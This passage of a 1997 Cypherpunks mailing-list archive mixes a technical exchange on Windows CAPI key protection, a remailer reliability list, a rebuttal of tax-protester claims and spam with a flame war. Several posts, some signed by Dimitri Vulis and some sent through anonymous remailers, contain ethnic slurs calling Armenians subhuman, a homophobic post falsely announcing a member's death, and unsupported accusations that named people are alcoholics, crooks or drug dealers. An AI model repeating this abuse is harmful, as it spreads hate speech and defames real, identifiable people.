> protected by the OS.

Out of curiosity, do you know how the keys are protected by windoze
itself?
I have the CAPI cd but have had all of 5 minutes to look at it.  I would 
presume they're hashing your password into a key and then encrypting
with 
it, or encrypting another key with it. Any idea?

What is somewhat bothersome (and this would go for anything using CAPI
in the way your product does) is the reliance upon the windoze password.
If that were compromised, it seems all other CAPI integrated keys would
also be compromised. Let's hope they choose good passwords, and know not
to re-use the same one on the net somewhere. :-)
(BTW, does windoze allow arbitrary length passwords or phrases, or does
it
have a short limit?)

Jeremey.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                  http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMyKP5y/fy+vkqMxNAQHayQQAlQ1URquOTf0LNqX4Gsw340KRNsz+e4hk
hJDaw61vNzWV7oCQtZeTYrpWYnf9nuZ0r3qaTGHE8b+s3whAEz7iXtS/DzNXz3dQ
0fce/EW9oMHjZa9xiilPb4FMbRMJJFShJ2WUSP/ZuMkaKXVftu5UG5I/FHxhpt+g
A4sqBEOangQ=
=PLfS
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 9 Mar 1997 10:51:53 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <oc5a4D169w165w@bwalk.dm.com>
Message-ID: <332306B7.1511@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:
> > Vulis you are the pathological liar.

This Graham-John character may just be one of the best autobots
yet.  I've examined "his" messages, which show even less emotional
content than on-the-scene responses by Sirhan Sirhan or John Hinckley.
Obviously not hand-typed by a human.

> Charles Platt, the alcoholic yellow journalist, is a pathological liar.
> Just look in sci.cryonics for the testimonies from dozens of people
> (former business partners and clients) cheated from thousands of
> dollars by Charles Platt's failed "frozen corpses" business.
> Charles Platt almost got arrested recently when he showed up drunk
> at a public meeting and began shouting obscenities at people.
> Please take any additional comments to alt.2600.moderated.

Platt sounds like the ideal candidate to start another disinformation
periodical.  Any guesses as to who his backers will be?

P.S. Thanx for the L.L. interviews.  I hope to build these into
another good text database.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 08:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anguilla is not Marxist!
In-Reply-To: <Pine.A41.3.95.970309090541.83832D-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <oc5a4D169w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> >
> > This just proves again that Charles Platt is a pathological liar.
>
>
> Vulis you are the pathological liar.

Charles Platt, the alcoholic yellow journalist, is a pathological liar.

Just look in sci.cryonics for the testimonies from dozens of people
(former business partners and clients) cheated from thousands of
dollars by Charles Platt's failed "frozen corpses" business.

Charles Platt almost got arrested recently when he showed up drunk
at a public meeting and began shouting obscenities at people.

Please take any additional comments to alt.2600.moderated.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Sat, 8 Mar 1997 22:49:43 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <33231935.6969@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:
> Umm... reading your faq... (http://www.querisoft.com/SFFAQ.html) you
> state that you use the windows95 user password as the password for

> encrypting files. You also seem to imply that you don't actually
> _ask_ for the password, windows gives it to you (albeit hashed
> or something already, I imagine). If that is the case, that is extremely
> worrisome. In fact it's outrageous.

 
> That would imply that any _other_ application, benign or evil, could
> also
> access the same password and immediately decrypt files.
> 
> Is that so? (Not coding much on windows, I don't know if applications
> can access the user's hashed or encrypted password, but I would guess
> they could.)

SecureFile is not using the Win 95 password for encrypting the files.
Win 95 or Win NT never hands over the password to any application.

CAPI 2.0 is so nicely integrated with the OS that unless you have logged
in you wont get access to you keys. Now SecureFile is CAPI 2.0 based
application, so to use SecureFile you have to log in. Once this is done
the crypto operations (encryption/signing) etc are performed using your
keys.

The advantage you gain is that, a separate SecureFile logon is not
required and nobody but you will be able to access your keys as they are
protected by the OS.

The SecureFile setup ensures that on Win 95 you have actually logged in
and that you are working in the "Multiple Profiles" mode.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
SecureFile Team
Querisoft Systems Pvt. Ltd.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 9 Mar 1997 11:52:24 -0800 (PST)
To: Vincent Cate <cypherpunks@toad.com
Subject: Re: Tim in Anguilla vs. USA
In-Reply-To: <Pine.LNX.3.95.970308082349.28404A-100000@online.offshore.com.ai>
Message-ID: <3.0.1.32.19970309145432.028fc5cc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:42 PM 3/8/97 -0400, Vincent Cate wrote:
>
>If Tim were a French citizen in the USA, and ranting about crypto-anarchy
>and destabilizing governments on street corners (or communism or
>something), he *might not* get his visa/work-permit renewed in the USA.
>Tim is very safe in the USA partly because he does not have to get a visa
>renewed.

Were Tim a French citizen in the US who had worked for Intel and gotten a passel of stock, or founded Borland like French illegal alien Phillippe Kahn, he could say whatever he wanted without problems.  He would only run into such problems if he was Palestinian.

DCF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 16:00:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Russophobia
In-Reply-To: <01bc2cb9$f32cc260$f28c01c2@seaford.cherry.napri.sk>
Message-ID: <R8NB4D175w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw a Usenet article that some Cypherpunks might like:

"Seaford Int." <seaford@napri.sk> writes:

> BE AFRAID OF NEW RUSSIAN ECONOMY BANDITS!!!
> THEY ARE SLUT DANGER PEOPLE.
> VOTE, NO MORE ENTRY FOR RUSSIANS TO CIVILIZATED COUNTRIES.
> THEY ARE FUCKING, STUPID BUT VERY RICH IDIOTS WITHOUT MIND!!!
>
> WARNING!!!WARNING!!!WARNING!!!!
>
> WHO WANTS TO MAKE CONTRACTS WITH THESE KILLERS!!!!
> ALL OF THEM WERE COMMUNISTS, NOW PSEUDOCAPITALISTS, BUT STILL KILLERS!!!
>
>

And now for something crypto-relevant:

I want to set up an easy-to-use, not necessarily very secure, anon server
at dm.com. Can someone please send me some source code (or pointer thereto).
(I mean, a system similar to what Julf used to have on anon.penet.fi, not
mixmaster, etc - I know where these are.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com
Date: Sun, 9 Mar 1997 16:00:24 -0800 (PST)
Subject: No Subject
Message-ID: <9703092356.AA01951@uu.psi.com>
MIME-Version: 1.0
Content-Type: text/plain


	for cypherpunks@toad.com
To: cypherpunks@toad.com
Cc: jack@earthweb.com, murray@earthweb.com, nova@earthweb.com
Subject: Something is genetically wrong with subhuman dandruff-covered Armenians...
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-ID: <RPoB4D176w165w@bwalk.dm.com>
Date: Sun, 09 Mar 97 18:35:26 EST
In-Reply-To: <Pine.SUN.3.91.970306184243.12798K@beast.brainlink.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.

Ray Arachelian <sunder@brainlink.com> writes:

> On Wed, 5 Mar 1997, Vebis wrote:
>
> > Hmmmm, Tastes like chicken!
>
> Uh huh, huh Vebis, that was like kwel!  Heh heh, heh heh!  Do it again!
>
> So like Vebis, how did it feel to score with a male german sheppard?  I
> bet you swallowed, huh huh, huh, 'cause you said "Tastes like chicken!"
> heh heh, heh heh, heh heh...

Why does Ray Arachelian wear jeans with cuffs?

To catch the falling dandruff.


Did you hear that after Earthweb, LLP, sacked Ray Arachelian for
spamming the 'net, he got another job at a ski resort?

His only duty is to walk along the ski trails and shed dandruff.



The 10 greatest inventions attributed to Armenians:

The solar-powered flashlight.

The pencil with erasers on both ends.

The vodka bottle with a magnifying bottom for watching television.

The parachute that opens on impact.

The artificial dandruff for wig wearers.

The waterproof tea bag.

The reusable non-stick toilet paper.

Traffic light with a candle inside.

The padlock key escrow.

Wheelchair with pedals.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 18:09:37 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: [IMPORTANT] Diffie-Hellman
In-Reply-To: <199703092322.AAA00842@basement.replay.com>
Message-ID: <Pine.A41.3.95.970309190614.68938A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vulis what has this to do with cypherpunks




On Mon, 10 Mar 1997, Anonymous wrote:

> Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
> hairy palms.
> 
>          /_/\/\
>          \_\  / Timmy May
>          /_/  \
>          \_\/\ \
>             \_\/
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 9 Mar 1997 18:13:28 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain





Vulis what has this to do with cypherpunks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: caseym@genesisnetwork.net (casey moss)
Date: Sun, 9 Mar 1997 21:27:40 -0800 (PST)
To: caseym@genesisnetwork.net
Subject: TOLL FREE Internet access
Message-ID: <3.0.1.32.19970309211026.006771f8@webb.genesisnetwork.net>
MIME-Version: 1.0
Content-Type: text/plain


Please stop in and visit our website at ...

http://www.genesisnetwork.net

GENESIS Network has sucessfully signed up over 10,000 internet coustomers
on the internet, see what we can do for you.

Thanks for your time ! 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 9 Mar 1997 20:34:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703100434.XAA19345@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Derisve Vitriol K[reep]OfTheMoment died of AIDS last night
with his faggot lover.

           __o
         _ \<_  Dr.Derisve Vitriol K[reep]OfTheMoment
        (_)/(_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 9 Mar 1997 21:10:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Something is genetically wrong with subhuman dandruff-covered Armenians...
In-Reply-To: <Pine.A41.3.95.970309190935.68938B-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <g03B4D188w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Vulis what has this to do with cypherpunks

What has Arsen "Ray" Arachelian to do with cypherpunks?

Nothing, because he doesn't know anything about cryptography.

Graham-John, when I spoke to you on the phone, you sounded like
a reasonable guy.  Right now you're behaving like a total twit.
People are probably killfiling you by the  dozen. It's just too
bad, because I know from alt.2600 that you're capable of saying
something interesting sometimes.  Please stop being an asshole.

              ___           _,.---,---.,_
              |         ,;~'             '~;,
              |       ,;                     ;,
     Frontal  |      ;                         ; ,--- Supraorbital Foramen
      Bone    |     ,'                         /'
              |    ,;                        /' ;,
              |    ; ;      .           . <-'  ; |
              |__  | ;   ______       ______   ;<----- Coronal Suture
             ___   |  '/~"     ~" . "~     "~\'  |
             |     |  ~  ,-~~~^~, | ,~^~~~-,  ~  |
   Maxilla,  |      |   |        }:{        | <------ Orbit
  Nasal and  |      |   l       / | \       !   |
  Zygomatic  |      .~  (__,.--" .^. "--.,__)  ~.
    Bones    |      |    ----;' / | \ `;-<--------- Infraorbital Foramen
             |__     \__.       \/^\/       .__/
                ___   V| \                 / |V <--- Mastoid Process
                |      | |T~\___!___!___/~T| |
                |      | |`IIII_I_I_I_IIII'| |
       Mandible |      |  \,III I I I III,/  |
                |       \   `~~~~~~~~~~'    /
                |         \   .       . <-x---- Mental Foramen
                |__         \.    ^    ./
                              ^~~~^~~~^       -dcau (4/15/95)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 9 Mar 1997 15:23:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] Diffie-Hellman
Message-ID: <199703092322.AAA00842@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's obsessive masturbation has lead to advanced degree of blindness and 
hairy palms.

         /_/\/\
         \_\  / Timmy May
         /_/  \
         \_\/\ \
            \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 10 Mar 1997 01:27:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Why Income Tax is Unconstitutional (fwd)
In-Reply-To: <199703091630.KAA18500@einstein.ssz.com>
Message-ID: <3.0.1.32.19970310013426.006d6284@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:21 PM 3/9/97 -0500, Mark M. wrote:
>http://www.iac.net/~solution/notax/ actually says that the tax law excludes
>U.S. citizens who do not live in Washington D.C. or are not federal
employees.

Yes, the web page says that, but it is incorrect. 

>I'm not about to read all 7,000 pages of the tax code to see if they are
>correct, but the definitions section of the code do indicate that their
>interpretation is correct.

It's not even necessary to look at the tax code (which is not 7,000 pages
long, although it is complex) to see that their argument is wrong.

Their argument is that 26 USC 7701(a)(9) defines "United States" to mean
"States" and "the District of Columbia", and that 26 USC 7701(a)(10)
defines "States" as "District of Columbia". Leaving aside their (incorrect)
interpretation of "includes" as "is", their interpretation of 7701(a)(10)
suggests that 7701(a)(9) really says "United States" means "District of
Columbia and District of Columbia" which makes no sense at all. "States"
cannot mean "District of Columbia" if, in the same subsection, another
definition uses the phrase "the States and the District of Columbia".
Clearly Congress did not intend "States" to mean "District of Columbia".

(The web page points out this flaw in their construction of the statute but
apparently fails to understand that it's fatal to their interpretation.
Bzzt.) 

Their other arguments are similarly absurd. Their interpretation of the
Supreme Court case they cite is ridiculous. The decision is on the web at
<http://www.findlaw.com/scripts/getcase.pl?court=US&vol=324&invol=652>,
(paper cite is 324 US 652); given the discrepancy between their version and
the actual text I can see why they haven't bothered to provide a cite.  

The real heart of their screwed-up-ness is that they interpret "includes"
to mean "is", so that they think "employee includes government employees"
reads "employee is government employees" and "states includes the District
of Columbia" reads "states is the District of Columbia". That
interpretation is wrong, and all of their arguments that rest upon it are
fatally flawed. For example, according to Black's Law Dictionary (which
isn't the law anywhere, but isn't an awful place to look for the definition
of a word, other resources being unavailable), says that "include" .. "may,
according to context, express an enlargement and have the meaning of *and*
or *in addition to*, or merely specify a particular thing already included
within general words theretofore used. 'Including' within statute is
interpreted as a word of enlargement or of illustrative application as well
as a word of limitation. Premier Products Co. v. Cameron, 240 Or 123, 400
P2d 227, 228." (emphasized words were italicized in original)

>I suppose using this information as a defense
>might work, but one would probably have to sue the IRS to get all forfeited
>property returned for failure to pay income tax.

>From time to time tax protestors and people with weird interpretations of
the tax code manage to convince juries that they believed that their
failure to pay tax was lawful, and hence they didn't have the required
criminal intent to be guilty of criminal evasion/failure to file. But more
frequently, juries (who pay income tax, too) aren't especially sympathetic
to that story and send the goofballs to jail. (Misinterpretation of the tax
code might - might - keep you out of jail. But it won't get your house
back, or put the $ back in your bank account.) 

The people who publish this crap ought to be ashamed of themselves. As it
happens, they usually don't follow their own advice, *go ahead and pay
their taxes*, and get rich while their gullible customers get themselves in
a lot of trouble. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: adnet@jobops.com
Date: Mon, 10 Mar 1997 03:46:27 -0800 (PST)
To: adnet@jobops.com
Subject: The secrets to finding ANY JOB on the internet.
Message-ID: <199703101117.DAA08336@mail2.deltanet.com>
MIME-Version: 1.0
Content-Type: text/plain


DO YOU KNOW HOW TO FIND A JOB USING THE INTERNET? 
- If you have been looking for a job, career change or upgrade
find out how internet resources can lead to fifteen interviews
a week or more! Get the job and salary you deserve.

===> Did you know that you can search dozens of newspaper classifieds
     online, and with keywords access the jobs you want 100 times
     faster than if you bought the local newspaper ?

===> Do you know how to effectively use e-mail and fax software to get
     your credentials and resume noticed immediately?

===> Do you know how to use search engines on the internet to find
     hidden job opportunities most people don't know how to look for?

===> Did you know the secrets recruiters use to find jobs for you, 
     and how you can use them to benefit yourself?

===> Did you know that although there are literally thousands of job 
     websites, only a scant few dozen actually produce results? Would 
     you like to know which ones they are?


Whether you are a PhD. in Mechanical Engineering or an Administrative
Assistant with a high school degree, I can show you proven methods
that will generate as many as fifteen interviews a week. My job
hunting manual aptly named "GETTING EMPLOYED IN THE INFORMATION AGE"
will guide you through all the proper steps to take to really push
your career into high gear.

Many of the techniques and search skills taught in my manual will work
for anyone. From phone clerk all the way up to programming
consultants, this guide will help you find and maintain your
livelihood. 

Also included in this guide:

>>>  25 tips on how to look, act, and dress success.

>>>  Learn what to say and what not to say during a job interview.

>>>  Learn job hunting strategies that pay off almost immediately.

>>>  Create quality resumes that get noticed !!!
   ( Sample resumes and techniques are provided in great detail. )

>>>  Red flags that let you know an interview is bogus before you 
   waste time going there.

I give you the consumer my personal guarantee that what I have written
will help you (if you use it)immeasurably in landing a job. I offer my
text at a very fair and equitable price of $6.95. Don't be fooled by
the low price. Many internet advertisers charge unfair prices for
their merchandise and then take forever to mail it to you. My guide
comes to you as an attached e-mail document in two different file
formats so it will probably reach you three to four days after you
have placed an order.

-------------------------HOW TO ORDER--------------------------------
If you are interested in purchasing my text, GETTING EMPLOYED IN THE
INFORMATION AGE, simply send a check or money order for $6.95 payable
to Leon McCreary at the following address: 

Leon McCreary 
5595 E. 7th. Street #360
Long Beach, CA 90804 

(Make sure to include your current e-mail return address)
---------------------------------------------------------------------

I will then e-mail you a copy of it in both a downloadable 
text format or in Microsoft Word 2.0 which should be upwardly  
compatible with whatever later version text editor you may have.
Because there is no cost for shipping, I can keep the cost per copy to
you very low. 


Sincerely and respectfully yours, 


Leon McCreary
-If you wish to respond to this e-mail please do so to the P.O. Box
listed above. There is no reply address available at this time due to
possible ISP Server overload. 



P.S. I truly believe in the mass e-mail or bulk e-mail concept. Many
people frown upon it. However, it is my belief that if the industry
can become more reputable through better products and faster customer
service, it may become more accepted. Mass e-mail is free to send, and
it enables people like me to advertise until such time as we have the
money to advertise through other media.

We all have dreams. I am reaching for my own as I am sure you are
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process, please allow me to do so. Buy my employment guide not because
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to share this knowledge with you. Good luck !




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Sun, 9 Mar 1997 12:22:45 -0800 (PST)
To: jya@pipeline.com>
Subject: Re: Wassenaar Arrangement
Message-ID: <199703092021.FAA11440@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
the Wassenaar Arrangement.

  http://www.barrier-free.co.jp/a2z/c/
    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html

If someone know (have) full text, please tell me.

# To: Mr. John Young:
# If your are OK, please add this to your crypto-concerned
# lib. and redistribute on your web page.  Thanks.

///hayashi

P.S.
Sorry for my delay job.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 10 Mar 1997 06:50:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703101450.GAA26718@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 10 Mar 97 6:47:16 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
balls    remailer@huge.cajones.com        ###-########    38:00  99.99%
hidden   remailer@hidden.net              ++.-*###+###    40:11  99.98%
nym      config@nym.alias.net             *+-+++*+*-+-    32:49  99.98%
cyber    alias@alias.cyberpass.net        + **+ *****+    37:51  99.79%
extropia remail@miron.vip.best.com        __.--.--.--  15:21:15  99.64%
middle   middleman@jpunix.com             *------ ---+  1:48:16  99.48%
dustbin  dustman@athensnet.com            ._.  ++.- -+  2:26:36  98.79%
lucifer  lucifer@dhp.com                    +++ + +++     42:46  98.55%
reno     middleman@cyberpass.net           -. -*..*  +    28:08  98.51%
shaman   remailer@lycaeum.org             +++ ++- ++**    28:02  98.13%
winsock  winsock@rigel.cyberpass.net      ----..--- .-  9:03:43  98.12%
haystack haystack@holy.cow.net            + ##. # ###     26:59  95.11%
replay   remailer@replay.com              *+***+++**-     18:09  91.09%
exon     remailer@remailer.nl.com         ++#*  #  # -  1:19:18  88.93%
mix      mixmaster@remail.obscura.com      _ _ .       78:03:04  88.85%
jam      remailer@cypherpunks.ca           +* -***** -  1:28:27  86.65%
weasel   config@weasel.owl.de             ++-+++++++    1:26:26  84.74%
squirrel mix@squirrel.owl.de                              59:37  -6.60%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 10 Mar 1997 05:31:10 -0800 (PST)
To: lucifer@dhp.com (lucifer Anonymous Remailer)
Subject: Re: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <199703101324.HAA15370@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


lucifer Anonymous Remailer wrote:
> > distributing it via this list, I still consider it copyrighted material,
> > for what that's worth. It will eventually be published, in some form, in a
> > magazine, as part of a much longer article.
> 
> Right - Chris Platt wants everybody to believe that he's a journalist.
> Just ask all the people on sci.cryo who think he's just a lying crook.
> If the drunkard publishes this crap, it'll be at his own expense.

Hey, there is no such newsgroup -- sci.cryo.

I suggest that interested readers check out DejaNews and make sure.

... rest deleted ...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 04:55:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: More proof that Charles Platt is a pathological liar and a crook
Message-ID: <199703101255.HAA17283@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The pathological liar Charles Platt <cp@panix.com> posted the following
racist garbage to the "cypherpunks@toad.com" mailing list:

> I've been writing up my week in Anguilla, including a digested version of
> the interviews I did with the Minister of Finance and the owner of the
> local bank. I append this text below. Please note that although I am

It was very poor judgment on Minister's part to meet with the pathological
liar and an alcoholic  - Charles Platt.

> distributing it via this list, I still consider it copyrighted material,
> for what that's worth. It will eventually be published, in some form, in a
> magazine, as part of a much longer article.

Right - Chris Platt wants everybody to believe that he's a journalist.
Just ask all the people on sci.cryo who think he's just a lying crook.
If the drunkard publishes this crap, it'll be at his own expense.

> More to the point, this is UNCORRECTED text, probably containing spelling
> errors, and Vince Cate or Bob Hettinga may well be able to correct some
> factual errors, in which case I encourage them to do so.
>
> --Charles Platt

What a maroon. Does the FBI monitor this mailing list? They better
find out why he's suddenly interested in money laundering. Is Charles
Platt dealing drugs too?

>      Monday evening, there's a cocktail party on Road Bay,

Of course Charles Platt would be found at a cocktail party.

Did he get drunk like a skunk again and shout obscenities at the guests?

Did he get arrested by Anguila police this time?

> where pirates, rum smugglers, and slave traders once made
> landfall and the ocean is such a vivid azure, it looks
> artificially enhanced. Everyone gathers in a colorfully
> painted shack out on the white-sand beach, where a bar serves
> free margaritas and bad steel band music plays from cheap

I bet Charles Platt had at least a dozen before he switched to
Long Islands Ice Teas. Too bad they didn't serve coke at this party.

Did Charles Platt bring his own coke and try to sell it to the guests?

> loudspeakers as the sun goes down.
>      The party is being thrown by Lynwood Bell, a stern but
> hearty character who's the only one wearing a tie. He
> projects an image of dignity and respectability, which is
> appropriate since he owns a bank.

It was very foolish of Lynwood ever to talk to Charles Platt,
because Charles Platt is a crackpot and a pathological liar.

>      "Anguilla used to have a large number of banks," he
